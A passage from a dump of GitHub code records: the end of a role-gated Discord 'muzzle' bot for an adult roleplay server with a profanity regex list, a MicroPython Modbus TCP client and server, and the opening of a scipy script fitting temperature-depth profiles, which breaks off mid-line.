/'s.\")\r\n\t):\t\t\r\n\t\twords = words.split('/')\r\n\t\tawait start_muzzle(muzzle_type,inter.channel,target, words,inter.author, inter=inter)\r\n\r\nswears = [\t\r\n\tr\"b+a+s+t+a+r+d+\",\r\n\tr\"\\ba+ss+(?:hole)?\\b\",\r\n\tr\"\\ba+ss+e+s\\b\",\r\n\tr\"\\ba+r+s+e+s?(?:hole)?\\b\",\r\n\tr\"\\bb+a+d+a+ss+\",\t\r\n\t\"b+i+t+c+h+\",\r\n\t\"da+m+n+\",\r\n\t\"f+u+c+k+\",\r\n\tr\"^hell([^o]|\\b)|[^s]h+el+l([^o]|\\b)\",\r\n\t\"s+h+i+t+\",\r\n\t\"w+h+o+r+e\",\r\n\t\"c+u+n+t+\",\r\n\t\"p+i+s+s\",\r\n\t\"wtf+\",\r\n\t\"gdi+\",\r\n\t\"lmfa+o+\",\r\n\t\"fml+\",\r\n\t\"s+l+u+t+\",\r\n\tr\"([^slue]|\\b)t+w+a+t+\",\r\n\tr\"\\bff+s+\"\r\n]\r\n\r\nchannel = ''\r\nemojis = '🥺😀😃🙂🙃😊😇☺😋😛😜🤭🤐😐😑😶😏😳😨😭😖😣😤😡😈❤😠🤤💖❤🧡💛💚💙💜🤎🖤🤍♥💘💝💗'\r\nsafewords = '🔴🟡🟢'\r\nstop_sign = '🛑'\r\n\r\nescape_regex = r'[\\’\\'\\.\\!\\?\\,\\(\\)\\-\\s\\>\\<\\~\\\\\\^\\:3]'\r\n\r\nsimple_text = []\r\n\r\ndef loadSimpleText():\r\n\twith open('simple.txt','r') as f:\r\n\t\ttext = f.read().lower()\r\n\t\treturn text.split('\\n')\r\n\r\nsimple_text = loadSimpleText()\r\nsimple_text.sort(key = len)\r\nsimple_text.reverse()\r\n\r\ndef replacePronouns(s,user):\r\n\tpronouns = pronoun(user)\r\n\the = pronouns['he']\r\n\theis = pronouns['he is']\r\n\thes = pronouns['hes']\r\n\this = pronouns['his']\r\n\thim = pronouns['him']\r\n\t\r\n\tsyntax = {'#is':heis, '#s':hes, '%':his, '!!':him, '#':he}\r\n\r\n\tfor code in syntax:\r\n\t\ttext = syntax[code]\r\n\t\ts = s.replace('+'+code,text)\r\n\t\ts = s.replace(code,text.lower())\r\n\t\r\n\t#Remove s's conditionally because english grammar sucks.\t\r\n\tif he == 'They':\r\n\t\ts = s.replace('/s/','')\r\n\telse:\r\n\t\ts = s.replace('/s/','s')\r\n\r\n\treturn s\r\n\r\nasync def sendBumpMessage(user, channel):\r\n\r\n\troles = []\r\n\tfor role in user.roles:\r\n\t\tif str(role) in kink_list:\r\n\t\t\troles.append(str(role))\r\n\r\n\trandom.shuffle(roles)\r\n\r\n\ts = ''\r\n\r\n\tfor role in roles:\r\n\t\tflav = kink_list[role]\r\n\t\tif len(flav) > 0:\r\n\t\t\ts = random.choice(flav)\r\n\t\t\tbreak\r\n\r\n\tif len(s) == 0 or hasRole(user,'Dom'):\r\n\t\ts = \"Thank you for bumping the server, @!\"\r\n\tprint('Bump message for',user.mention)\r\n\t\t\r\n\t#Special thing for Liz\r\n\tif (user.mention == \"<@547728057264242688>\" or user.mention == \"<@!547728057264242688>\"):\r\n\t\ts = \"Hey everyone, @ li- oh, gosh, it's you, I'm so sorry, have a nice day, Miss. 😱\"\t\t\r\n\r\n\t#Special thing for King\r\n\tif (user.mention == \"<@504712293750145024>\" or user.mention == \"<@!504712293750145024>\"):\r\n\t\ts = \"Thank you for taking the time out of your busy day to bump us, Mister @!\"\t\t\r\n\r\n\ts = s.replace('@',user.mention)\r\n\t\r\n\tsplit = s.split('|')\r\n\tif len(split) > 1:\r\n\t\tmsg = split[0]\r\n\t\teurl = split[1]\r\n\t\te = disnake.Embed()\r\n\t\te.set_image(url=eurl)\r\n\t\ts = replacePronouns(s,user)\r\n\t\tawait channel.send(msg,embed=e)\r\n\telse:\r\n\t\ts = replacePronouns(s,user)\r\n\t\tawait channel.send(s)\r\n\r\nasync def deny_emoji(msg):\r\n\tawait msg.add_reaction('🛑')\r\n\r\nasync def star_emoji(msg):\r\n\tawait msg.add_reaction('⭐')\r\n\r\nasync def soap_emoji(msg):\r\n\tawait msg.add_reaction('🧼')\r\n\r\ndef has_emoji(msg,emoji):\r\n\tmsg = disnake.utils.get(bot.cached_messages, id=msg.id)\r\n\r\n\tfor react in msg.reactions:\r\n\t\tprint(react)\r\n\t\tif react.emoji == emoji:\r\n\t\t\treturn True\r\n\treturn False\r\n\r\ndef check_swear(txt):\r\n\tfor swear in swears:\r\n\t\tif not re.search(swear, txt) == None:\r\n\t\t\treturn True\r\n\treturn False\r\n\r\ndef remember_muzzle(user, author):\r\n\tglobal muzzled_by\r\n\tglobal muzzlers\r\n\r\n\tmuzzled_by[user.mention] = author.mention\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n\tif author.mention in muzzlers:\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\tmuzzlers[author.mention].append(user.mention)\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n\telse:\r\n\t\tmuzzlers[author.mention] = [user.mention]\r\n\r\ndef flavor(t,user,f, muzzler=-1, msg=\"\", failed=\"\"):\r\n\tif muzzler == -1:\r\n\t\tmuzzler = user.mention\r\n\tprint('flavor',t,user,f)\r\n\r\n\tflav = muzzle_flavor_text[f]\r\n\tif t == \"subtry\":\r\n\t\ts = flav[t]\r\n\telse:\r\n\t\ts = random.choice(flav[t])\r\n\ts=s.replace('@',user.mention)\r\n\ts=s.replace('[muzzler]',muzzler)\r\n\ts=s.replace(\"[message]\",msg)\r\n\ts=s.replace(\"[disallowed]\",failed)\r\n\r\n\treturn replacePronouns(s,user)\r\n\r\nasync def do_release(user,channel, silent=False, inter=None):\r\n\tglobal muzzlers\t\r\n\tmuzzler = muzzled_by[user.mention]\r\n\tif not silent:\r\n\t\tawait speak(flavor('end',user,muzzled[user.mention]['flavor'], muzzler), channel,inter=inter)\t\r\n\tmuzzlers[muzzler].remove(user.mention)\r\n\tdel muzzled[user.mention]\r\n\tdel muzzled_by[user.mention]\r\n\tif len(muzzlers[muzzler]) == 0:\t\r\n\t\tdel muzzlers[muzzler]\r\n\tprint(muzzlers)\r\n\r\nasync def start_release(author,target=None,message=None,inter=None,override=False, release_all=False):\r\n\tglobal allowed_channels\r\n\tglobal muzzlers\r\n\tglobal muzzled\r\n\r\n\tchannel = message.channel if message != None else inter.channel\r\n\r\n\tif hasRole(author, 'Privileges Revoked'):\r\n\t\tawait speak('Sorry, '+author.mention + '. You\\'ve had muzzling privileges revoked.', channel, inter)\r\n\telif hasRole(author,'Sub') and not override:\r\n\t\tif not str(channel) in allowed_channels:\r\n\t\t\tawait deny_emoji(message)\r\n\t\telse:\r\n\t\t\tawait speak(\"Nope. Be a good subby and leave that to the Doms and Switches.\", channel,inter)\r\n\telif author.mention in muzzled: #No jailbreaks!\t\t\r\n\t\tflav = muzzled[author.mention]['flavor']\r\n\t\tverbed = muzzle_flavor_text[flav]['verbed']\r\n\t\tif author.mention in muzzlers and author.mention in muzzlers[author.mention]: # Are they stuck in their own muzzle?\r\n\t\t\tawait speak(f\"Nope! If you're silly enough to be {verbed} by yourself, you'll have to find someone else to rescue you.\",inter)\r\n\t\telse:\r\n\t\t\tawait speak(f\"Nope! Ask the person that {verbed} you to release you.\",inter)\r\n\telif hasRole(author,'Dom') or hasRole(author,'Switch') or override:\r\n\t\tif release_all:\r\n\t\t\tawait speak(\"Releasing all muzzled users.\",channel,inter)\r\n\t\t\tmuzzled = {}\r\n\t\t\tmuzzlers = {}\r\n\t\t\tmuzzled_by = {}\r\n\t\telif target == None:\r\n\t\t\t# Check if anyone is muzzled under this user's name.\r\n\t\t\tif author.mention in muzzlers:\t\t\t\r\n\t\t\t\tmuzzled_persons = muzzlers[author.mention]\t\t\t\t\r\n\t\t\t\tlast_muzzled = muzzlers[author.mention][len(muzzled_persons)-1]\r\n\t\t\t\t# If this is a testrelease, make sure it's being used on a test muzzle.\t\t\t\t\t\r\n\t\t\t\tif override and not (muzzled[last_muzzled]['flavor'] == 'testmuzzle') and not (hasRole(author,'Dom') or hasRole(author,'Switch')):\r\n\t\t\t\t\tawait speak(\"This command can only be used to release a user in a test-muzzle.\", channel, inter)\r\n\t\t\t\telse:\r\n\t\t\t\t\tawait do_release(getUser(last_muzzled,channel.members),channel,inter=inter)\r\n\t\t\telse:\r\n\t\t\t\t#Nope. We don't know who they mean.\t\t\t\t\r\n\t\t\t\tawait speak('You need to choose a user to unmuzzle!', channel,inter)\t\t\r\n\t\telse:\r\n\t\t\tmembers = channel.members\t\t\t\t\r\n\t\t\tuser = getUser(target,members)\r\n\t\t\tif user != False:\r\n\t\t\t\tif user.mention in muzzled:\r\n\t\t\t\t\tif override and not (muzzled[user.mention]['flavor'] == 'testmuzzle') and not (hasRole(author,'Dom') or hasRole(author,'Switch')):\r\n\t\t\t\t\t\tawait speak(\"This command can only be used to release a user in a test-muzzle.\", channel,inter)\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tawait do_release(user,channel,inter=inter)\r\n\t\t\t\telse:\r\n\t\t\t\t\tawait speak(\"That person isn't restricted!\", channel,inter)\t\t\t\t\t\r\n\t\t\telse:\r\n\t\t\t\tawait speak(\"Could not find user.\", channel,inter)\r\n\telse:\r\n\t\tif not str(channel) in allowed_channels:\r\n\t\t\tawait deny_emoji(message)\r\n\t\telse:\r\n\t\t\tawait speak('You need a Switch or Dom role to use this command.', channel,inter)\r\n\r\nasync def start_muzzle(command, channel, target, words, muzzler, message=None,inter=None):\r\n\tauthor = message.author if message != None else inter.author\r\n\tif not str(channel) in allowed_channels:\r\n\t\tif not message == None:\r\n\t\t\tawait deny_emoji(message)\t\t\t\t\r\n\t\telif not inter == None:\r\n\t\t\tawait inter.response.send_message(content=\"Please move to an allowed chat to use muzzle features.\",ephemeral=True)\r\n\t\telse:\r\n\t\t\tprint(\"Muzzle failed in disallowed chat, but we can't react to the message or send an interaction.\")\r\n\telse:\r\n\t\tif hasRole(muzzler, 'Privileges Revoked'):\r\n\t\t\tawait speak('Sorry, '+muzzler.mention + '. You\\'ve had muzzling privileges revoked.', channel, inter)\r\n\t\telif author.mention in muzzled: #No jailbreaks!\r\n\t\t\tflav = muzzled[author.mention]['flavor']\r\n\t\t\tverbed = muzzle_flavor_text[flav]['verbed']\t\t\r\n\t\t\tawait speak(f\"Nope! You can't do that while you are {verbed}.\",inter)\r\n\t\telse:\t\t\t\t\t\t\r\n\t\t\tif (command==\"testmuzzle\" and hasRole(muzzler,'Staff')) or ( (hasRole(muzzler,'Dom') or hasRole(muzzler,'Switch')) and not command==\"testmuzzle\" ):\r\n\t\t\t\tif target == False:\r\n\t\t\t\t\tawait speak(\"Could not find user.\", channel,inter)\r\n\t\t\t\telse:\t\t\t\t\t\r\n\t\t\t\t\tmembers = channel.members\r\n\t\t\t\t\tuser = getUser(target.mention,members)\r\n\t\t\t\t\tif user != False:\r\n\t\t\t\t\t\tif hasRole(user,'Dom'):\r\n\t\t\t\t\t\t\the = replacePronouns(\"#\",user)\r\n\t\t\t\t\t\t\tverbed = muzzle_flavor_text[command]['verbed']\t\r\n\t\t\t\t\t\t\tawait speak(f\"{user.mention} is a dom! I don't think {he}'d appreciate being {verbed}.\",channel,inter)\t\t\t\t\t\t\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t#Muzzle the user!\r\n\t\t\t\t\t\t\tif user.mention in muzzled:\r\n\t\t\t\t\t\t\t\t#Hotswap, silently unmuzzle first.\r\n\t\t\t\t\t\t\t\tawait do_release(user,channel,True,inter)\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\twords = [i for i in words if i != ''] #Remove all blank entries\r\n\t\t\t\t\t\t\tprint(words)\r\n\r\n\t\t\t\t\t\t\tallowed = words\r\n\r\n\t\t\t\t\t\t\tif len(allowed) == 0:\r\n\t\t\t\t\t\t\t\t#Use defaults\r\n\t\t\t\t\t\t\t\tallowed = muzzle_flavor_text[command]['defaults']\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\tallowed_list = muzzle_flavor_text[command]['defaults']\r\n\t\t\t\t\t\t\t\tmuzzled[user.mention] = {\r\n\t\t\t\t\t\t\t\t\t'allowed':allowed,\r\n\t\t\t\t\t\t\t\t\t'flavor':command\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t#Check for the simple list\r\n\t\t\t\t\t\t\t\tif '**simple**' in allowed:\r\n\t\t\t\t\t\t\t\t\tmuzzled[user.mention] = {\r\n\t\t\t\t\t\t\t\t\t\t'allowed':simple_text,\r\n\t\t\t\t\t\t\t\t\t\t'flavor':command\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\tallowed_list = [\"Please see !simpletext for a complete list.\"]\r\n\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\tallowed = '///'.join(allowed)\r\n\t\t\t\t\t\t\t\t\tallowed = re.sub(escape_regex,'',allowed)\r\n\t\t\t\t\t\t\t\t\tallowed = allowed.lower().split('///')\r\n\r\n\t\t\t\t\t\t\t\t\tallowed_list = words\r\n\t\t\t\t\t\t\t\t\t#Muzzle the user!\r\n\t\t\t\t\t\t\t\t\tmuzzled[user.mention] = {\r\n\t\t\t\t\t\t\t\t\t\t'allowed':allowed,\r\n\t\t\t\t\t\t\t\t\t\t'flavor':command\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t#Remember who muzzled them.\r\n\t\t\t\t\t\t\tremember_muzzle(user,muzzler)\r\n\r\n\t\t\t\t\t\t\tallowed_string = 'Allowed words:\\n> ' + ', '.join(allowed_list)\r\n\t\t\t\t\t\t\tawait speak(flavor('start',user,command, muzzler.mention), channel,inter)\r\n\t\t\t\t\t\t\tawait speak(allowed_string, channel)\r\n\t\t\t\t\t\t\t#DM the person that was muzzled to inform them, provided they are a user and not a bot.\r\n\t\t\t\t\t\t\tif not user.bot:\r\n\t\t\t\t\t\t\t\ts = f\"You were {muzzle_flavor_text[command]['verbed']} by {muzzler.mention} in `#{channel}`!\"\t\r\n\t\t\t\t\t\t\t\tawait user.send(s+\"\\n\"+allowed_string)\t\t\t\t\t\t\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tawait speak(\"Could not find user.\", channel)\r\n\t\t\telif hasRole(muzzler,'Sub') or (command==\"testmuzzle\" and not hasRole(muzzler,'Staff')):\t\t\t\r\n\t\t\t\tawait speak(flavor('subtry',muzzler,command,muzzler.mention), channel, inter=inter)\r\n\t\t\telse:\r\n\t\t\t\tawait speak('You need a Switch or Dom role to use this command.', channel)\r\n\r\nallowed_channels = ['blush-chat','blush-chat-2','blush-chat-3','extreme-blush-chat','extreme-blush-chat-2','extreme-blush-chat-3','bot', 'rp-chat']\t\r\n\r\nasync def muzzlemain(message):\r\n\tglobal muzzled\r\n\tglobal muzzlers\r\n\tglobal muzzled_by\r\n\tglobal allowed_channels\r\n\r\n\tif message.author == bot.user or message.author.bot:\r\n\t\treturn\t\r\n\r\n\tchannel = message.channel\r\n\tauthor = message.author\t\r\n\r\n\t#Check for swearing\r\n\tif hasRole(author,'Soap Bar'):\r\n\t\tmsg = message.content.lower()\t\t\r\n\t\tif check_swear(msg):\r\n\t\t\t#They SWORE. O: Naughty.\r\n\t\t\tawait soap_emoji(message)\r\n\t\t\tif str(channel) in allowed_channels:\t\t\t\t\t\t\r\n\t\t\t\tawait channel.send(content=flavor('swear',author,'swearing'),view=ApologyView())\r\n\r\n\tif message.content == \"!simpletext\":\r\n\t\tawait author.send(\"Here is a list of all the words you can say when restricted to simple language.\\n>>> \" + '\\n'.join(simple_text))\r\n\t\tawait speak('List sent to '+author.mention+'.',channel)\r\n\telif author.mention in muzzled:\r\n\t\t#If message contains a safeword, or if it's in a disallowed channel, we don't touch it.\r\n\t\tif safewords[0] in message.content or safewords[1] in message.content or safewords[2] in message.content or (not str(channel) in allowed_channels):\r\n\t\t\treturn\r\n\t\telse:\t\t\t\r\n\t\t\t#Ensure the message uses only allowed words and punctuation\t\t\t\r\n\t\t\tmsg = message.content.lower()\r\n\t\t\tmsg = re.sub(escape_regex,'',msg)\r\n\r\n\t\t\tallowed_words = muzzled[author.mention]['allowed']\t\t\t\r\n\t\t\tallowed_words.sort(key = len)\r\n\t\t\tallowed_words.reverse()\r\n\t\t\tflav = muzzled[author.mention]['flavor']\r\n\t\t\tfor word in muzzled[author.mention]['allowed']:\r\n\t\t\t\tif (word == '*'): # roleplaying\r\n\t\t\t\t\tmsg = re.sub(r'\\*.+?\\*','',msg)\r\n\t\t\t\telse:\r\n\t\t\t\t\tmsg = msg.replace(word,'')\r\n\t\t\tfor emoji in emojis:\r\n\t\t\t\tmsg = msg.replace(emoji,'')\r\n\t\t\tif (len(msg) != 0):\r\n\t\t\t\tprint(allowed_words)\r\n\t\t\t\tprint(\"Fail: \" + msg, len(msg))\r\n\t\t\t\t#They spoke! How dare they!\r\n\t\t\t\tcnt = message.content\r\n\t\t\t\tawait message.delete()\t\t\r\n\t\t\t\tawait speak(flavor('talk',author,flav, muzzled_by[message.author.mention], message.content, msg), channel)\t\t\t\t\r\n\telif message.content.startswith(\"!release\") or message.content.startswith(\"!unmuzzle\") or message.content.startswith('!testrelease') or message.content.startswith('!testunmuzzle'):\r\n\t\tcommand = message.content.split(' ')[0]\r\n\t\targ = message.content[len(command)+1:]\r\n\t\targs = arg.split(' ')\r\n\t\tfirst = args[0]\r\n\t\trelease_all = False\r\n\t\tif first == '':\r\n\t\t\tuser = None\r\n\t\telif first == 'all':\r\n\t\t\tuser = None\r\n\t\telse:\r\n\t\t\tuser = first\r\n\r\n\t\tif command == '!testrelease':\r\n\t\t\toverride = True\r\n\t\telse:\r\n\t\t\toverride = False\r\n\r\n\t\t#async def start_release(author,target=None,message=None,inter=None,override=False, release_all=False):\r\n\t\tawait start_release(message.author,target=user,override=override,message=message,release_all=release_all)\r\n\telse:\t\t\r\n\t\tflav_commands = muzzle_flavor_text.keys()\r\n\r\n\t\tfor command in flav_commands:\t\t\t\r\n\t\t\tif message.content.startswith('!'+command):\r\n\t\t\t\t\r\n\t\t\t\targ = message.content[len(command)+2:]\t\t\t\t\t\r\n\t\t\t\r\n\t\t\t\targs = arg.split(' ')\r\n\t\t\t\tfirst = args[0]\t\t\t\t\r\n\t\t\t\tuser = getUser(first,channel.members)\t\t\t\t\r\n\t\t\t\twords = ' '.join(args[1:]).split('/')\r\n\t\t\t\tawait start_muzzle(command, channel, user, words, author, message) \r\n\r\n@bot.event\r\nasync def on_message_edit(before,after):\r\n\tif str(before.author) == 'DISBOARD#2760':\r\n\t\treturn\r\n\telse:\r\n\t\tawait muzzlemain(after)\r\n\r\n@bot.event\r\nasync def on_message(message):\r\n\tif str(message.author) == 'DISBOARD#2760':\r\n\t\tif len(message.embeds) == 1:\r\n\t\t\tif 'Bump done!' in message.embeds[0].description:\t\r\n\t\t\t\tuser = message.interaction.author.mention\r\n\t\t\t\tuser = getUser(user, message.channel.members)\r\n\t\t\t\tawait sendBumpMessage(user,message.channel)\r\n\telse:\t\t\r\n\t\tawait muzzlemain(message)\r\n\r\ndef pronoun(user):\r\n\tvalid_pronouns = {\r\n\t\t'masc':hasRole(user,'He/Him'),\r\n\t\t'fem':hasRole(user,'She/Her'),\r\n\t\t'amb':hasRole(user,'They/Them'),\r\n\t\t'obj':hasRole(user,'It/Its')\r\n\t}\r\n\t#Choose masc/fem terms based on available roles\r\n\toptions = list(filter(lambda typ: valid_pronouns[typ], valid_pronouns.keys()))\r\n\t\r\n\tif len(options) == 0:\r\n\t\toption = 'amb'\r\n\telse:\r\n\t\toption = random.choice(options)\r\n\tterms = {\r\n\t\t'masc':{'he':'He', \"hes\":\"He's\", 'he is':'He is', 'his':'His', 'him':'Him'},\r\n\t\t'fem':{'he':'She', \"hes\":\"She's\", 'he is':'She is', 'his':'Her', 'him':'Her'},\r\n\t\t'amb':{'he':'They', \"hes\":\"They're\", 'he is':'They are', 'his':'Their', 'him':'Them'},\r\n\t\t'obj':{'he':'It', \"hes\":\"It's\", 'he is':'It is', 'his':'Its', 'him':'It'}\r\n\t}\t\r\n\treturn terms[option]\r\n\r\ndef getUser(user,members):\r\n\tuser = user.replace('<@!','<@')\r\n\r\n\tfor member in members:\r\n\t\tmem = member.mention.replace('<@!','<@')\r\n\t\tif mem == user:\r\n\t\t\treturn member\r\n\treturn False\r\n\r\ndef hasRole(user,role):\r\n\troles = user.roles\r\n\tfor r in roles:\r\n\t\tif str(r) == role:\r\n\t\t\treturn True\r\n\treturn False\r\n\r\nasync def speak(m, channel, inter=None):\r\n\tif inter == None:\r\n\t\tawait channel.send(m)\r\n\telse:\r\n\t\tawait inter.response.send_message(m)\r\n\r\nprint(\"Starting...\")\r\nbot.run(TOKEN)\r\n","repo_name":"blushclub/MuzzleBot","sub_path":"muzzle.py","file_name":"muzzle.py","file_ext":"py","file_size_in_byte":20249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36246488982","text":"import uModBus.functions as functions\nimport uModBus.const as Const\nfrom uModBus.common import Request\nfrom uModBus.common import ModbusException\nimport struct\nimport socket\nimport machine\nimport time\n\nclass TCP:\n\n def __init__(self, slave_ip, slave_port=502, timeout=5):\n self._sock = socket.socket()\n self._sock.connect(socket.getaddrinfo(slave_ip, slave_port)[0][-1])\n self._sock.settimeout(timeout)\n\n def _create_mbap_hdr(self, slave_id, modbus_pdu):\n trans_id = machine.rng() & 0xFFFF\n mbap_hdr = struct.pack('>HHHB', trans_id, 0, len(modbus_pdu) + 1, slave_id)\n\n return mbap_hdr, trans_id\n\n def _bytes_to_bool(self, byte_list):\n bool_list = []\n for index, byte in enumerate(byte_list):\n bool_list.extend([bool(byte & (1 << n)) for n in range(8)])\n\n return bool_list\n\n def _to_short(self, byte_array, signed=True):\n response_quantity = int(len(byte_array) / 2)\n fmt = '>' + (('h' if signed else 'H') * response_quantity)\n\n return struct.unpack(fmt, byte_array)\n\n def _validate_resp_hdr(self, response, trans_id, slave_id, function_code, count=False):\n rec_tid, rec_pid, rec_len, rec_uid, rec_fc = struct.unpack('>HHHBB', response[:Const.MBAP_HDR_LENGTH + 1])\n if (trans_id != rec_tid):\n raise ValueError('wrong transaction Id')\n\n if (rec_pid != 0):\n raise ValueError('invalid protocol Id')\n\n if (slave_id != rec_uid):\n raise ValueError('wrong slave Id')\n\n if (rec_fc == (function_code + Const.ERROR_BIAS)):\n raise ValueError('slave returned exception code: {:d}'.format(rec_fc))\n\n hdr_length = (Const.MBAP_HDR_LENGTH + 2) if count else (Const.MBAP_HDR_LENGTH + 1)\n\n return response[hdr_length:]\n\n def _send_receive(self, slave_id, modbus_pdu, count):\n mbap_hdr, trans_id = self._create_mbap_hdr(slave_id, modbus_pdu)\n self._sock.send(mbap_hdr + modbus_pdu)\n\n response = self._sock.recv(256)\n modbus_data = self._validate_resp_hdr(response, trans_id, slave_id, modbus_pdu[0], count)\n\n return modbus_data\n\n def read_coils(self, slave_addr, starting_addr, coil_qty):\n modbus_pdu = functions.read_coils(starting_addr, coil_qty)\n\n response = self._send_receive(slave_addr, modbus_pdu, True)\n status_pdu = self._bytes_to_bool(response)\n\n return status_pdu\n\n def read_discrete_inputs(self, slave_addr, starting_addr, input_qty):\n modbus_pdu = functions.read_discrete_inputs(starting_addr, input_qty)\n\n response = self._send_receive(slave_addr, modbus_pdu, True)\n status_pdu = self._bytes_to_bool(response)\n\n return status_pdu\n\n def read_holding_registers(self, slave_addr, starting_addr, register_qty, signed = True):\n modbus_pdu = functions.read_holding_registers(starting_addr, register_qty)\n\n response = self._send_receive(slave_addr, modbus_pdu, True)\n register_value = self._to_short(response, signed)\n\n return register_value\n\n def read_input_registers(self, slave_addr, starting_address, register_quantity, signed = True):\n modbus_pdu = functions.read_input_registers(starting_address, register_quantity)\n\n response = self._send_receive(slave_addr, modbus_pdu, True)\n register_value = self._to_short(response, signed)\n\n return register_value\n\n def write_single_coil(self, slave_addr, output_address, output_value):\n modbus_pdu = functions.write_single_coil(output_address, output_value)\n\n response = self._send_receive(slave_addr, modbus_pdu, False)\n operation_status = functions.validate_resp_data(response, Const.WRITE_SINGLE_COIL,\n output_address, value=output_value, signed=False)\n\n return operation_status\n\n def write_single_register(self, slave_addr, register_address, register_value, signed=True):\n modbus_pdu = functions.write_single_register(register_address, register_value, signed)\n\n response = self._send_receive(slave_addr, modbus_pdu, False)\n operation_status = functions.validate_resp_data(response, Const.WRITE_SINGLE_REGISTER,\n register_address, value=register_value, signed=signed)\n\n return operation_status\n\n def write_multiple_coils(self, slave_addr, starting_address, output_values):\n modbus_pdu = functions.write_multiple_coils(starting_address, output_values)\n\n response = self._send_receive(slave_addr, modbus_pdu, False)\n operation_status = functions.validate_resp_data(response, Const.WRITE_MULTIPLE_COILS,\n starting_address, quantity=len(output_values))\n\n return operation_status\n\n def write_multiple_registers(self, slave_addr, starting_address, register_values, signed=True):\n modbus_pdu = functions.write_multiple_registers(starting_address, register_values, signed)\n\n response = self._send_receive(slave_addr, modbus_pdu, False)\n operation_status = functions.validate_resp_data(response, Const.WRITE_MULTIPLE_REGISTERS,\n starting_address, quantity=len(register_values))\n\n return operation_status\n\nclass TCPServer:\n\n def __init__(self):\n self._sock = None\n self._client_sock = None\n\n def bind(self, local_ip, local_port=502):\n if self._client_sock:\n self._client_sock.close()\n if self._sock:\n self._sock.close()\n self._sock = socket.socket()\n self._sock.bind(socket.getaddrinfo(local_ip, local_port)[0][-1])\n self._sock.listen()\n\n def _send(self, modbus_pdu, slave_addr):\n size = len(modbus_pdu)\n fmt = 'B' * size\n adu = struct.pack('>HHHB' + fmt, self._req_tid, 0, size + 1, slave_addr, *modbus_pdu)\n self._client_sock.send(adu)\n\n def send_response(self, slave_addr, function_code, request_register_addr, request_register_qty, request_data, values=None, signed=True):\n modbus_pdu = functions.response(function_code, request_register_addr, request_register_qty, request_data, values, signed)\n self._send(modbus_pdu, slave_addr)\n\n def send_exception_response(self, slave_addr, function_code, exception_code):\n modbus_pdu = functions.exception_response(function_code, exception_code)\n self._send(modbus_pdu, slave_addr)\n\n def _accept_request(self, accept_timeout, unit_addr_list):\n self._sock.settimeout(accept_timeout)\n new_client_sock = None\n try:\n new_client_sock, client_address = self._sock.accept()\n except OSError as e:\n if e.args[0] != 11: # 11 = timeout expired\n raise e\n\n if new_client_sock != None:\n if self._client_sock != None:\n self._client_sock.close()\n self._client_sock = new_client_sock\n self._client_sock.settimeout(0) # recv() timeout\n\n if self._client_sock != None:\n try:\n req = self._client_sock.recv(128)\n if len(req) == 0:\n return None\n\n req_header_no_uid = req[:Const.MBAP_HDR_LENGTH - 1]\n self._req_tid, req_pid, req_len = struct.unpack('>HHH', req_header_no_uid)\n req_uid_and_pdu = req[Const.MBAP_HDR_LENGTH - 1:Const.MBAP_HDR_LENGTH + req_len - 1]\n\n except TimeoutError:\n return None\n except Exception as e:\n print(\"Modbus request error:\", e)\n self._client_sock.close()\n self._client_sock = None\n return None\n\n if (req_pid != 0):\n print(\"Modbus request error: PID not 0\")\n self._client_sock.close()\n self._client_sock = None\n return None\n\n if unit_addr_list != None and req_uid_and_pdu[0] not in unit_addr_list:\n return None\n\n try:\n return Request(self, req_uid_and_pdu)\n except ModbusException as e:\n self.send_exception_response(req[0], e.function_code, e.exception_code)\n return None\n\n def get_request(self, unit_addr_list=None, timeout=None):\n if self._sock == None:\n raise Exception('Modbus TCP server not bound')\n\n if timeout > 0:\n start_ms = time.ticks_ms()\n elapsed = 0\n while True:\n if self._client_sock == None:\n accept_timeout = None if timeout == None else (timeout - elapsed) / 1000\n else:\n accept_timeout = 0\n req = self._accept_request(accept_timeout, unit_addr_list)\n if req:\n return req\n elapsed = time.ticks_diff(start_ms, time.ticks_ms())\n if elapsed > timeout:\n return None\n else:\n return self._accept_request(0, unit_addr_list)\n","repo_name":"sfera-labs/exo-sense-py-modbus","sub_path":"lib/uModbus/tcp.py","file_name":"tcp.py","file_ext":"py","file_size_in_byte":9102,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"40808928122","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.optimize as so\nimport xarray as xr\nimport os\n\ndef misfit(layer, depth, temp):\n #print(len(multi_linear_fjord(depth,*layer)))\n #print(len(depth))\n #print(len(temp))\n return np.sum((multi_linear_fjord(depth,*layer)-temp)**2)\n\ndef calc_fit(depth, var, plotBool=False):\n \"\"\"\n computes the fit of the variable var along depth\n\n uses the function *multi_linear* for the fit\n\n Set to NaN all parameters that are extrapolated from where there are no data\n \"\"\"\n depth = np.array(depth)\n var = np.array(var)\n NAN = np.isnan(depth) | np.isnan(var)\n depth = depth[~NAN]\n var = var[~NAN]\n #p0 is the a priori fit for temperature\n p0=np.array([0,20,60,80,5,10,9,7])\n #p0=np.array([0,20,60,50,5,10,9,7.5])\n #p0=np.ones(8)\n # bounds are set by looking at all transects and estimate by eye\n # first 4, values are depth, last 4 values are temp\n bounds_low = [0, 4, 55, 60, 2, 9, 9, 6]\n bounds_up = [6, 30, 65, 80, 7, 11, 10, 8.5]\n #p0 = np.array(bounds_low)\n #bounds_low = [0, 4, 55, 50, 2, 9, 9, 0]\n #bounds_up = [6, 30, 65, 80, 7, 11, 10, 8.5]\n bounds = (bounds_low, bounds_up)\n #bounds=(-np.inf,np.inf)\n try:\n #popt, pcov = so.curve_fit(multi_linear_fjord, depth, var, p0=p0, bounds=bounds, \\\n # verbose=2, method='trf', loss='cauchy')\n result = so.minimize(misfit, x0=p0, args=(depth,var), \\\n bounds=[(i,j) for 